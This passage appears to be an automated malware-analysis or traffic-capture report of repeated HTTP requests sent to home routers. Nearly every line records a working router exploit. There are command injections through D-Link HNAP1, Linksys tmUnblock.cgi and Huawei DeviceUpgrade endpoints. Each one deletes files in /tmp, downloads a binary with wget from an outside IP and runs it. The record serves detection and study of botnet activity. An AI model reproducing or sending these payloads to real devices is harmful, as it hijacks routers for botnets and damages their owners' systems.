Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://109.205.214.35/mips && chmod +x mips;./mips hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 3b 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://109.205.214.35/mips && chmod +x mips;./mips hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://109.205.214.35/mips && chmod +x mips;./mips hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://109.205.214.35/mips && chmod +x mips;./mips hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://109.205.214.35/mips && chmod +x mips;./mips hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 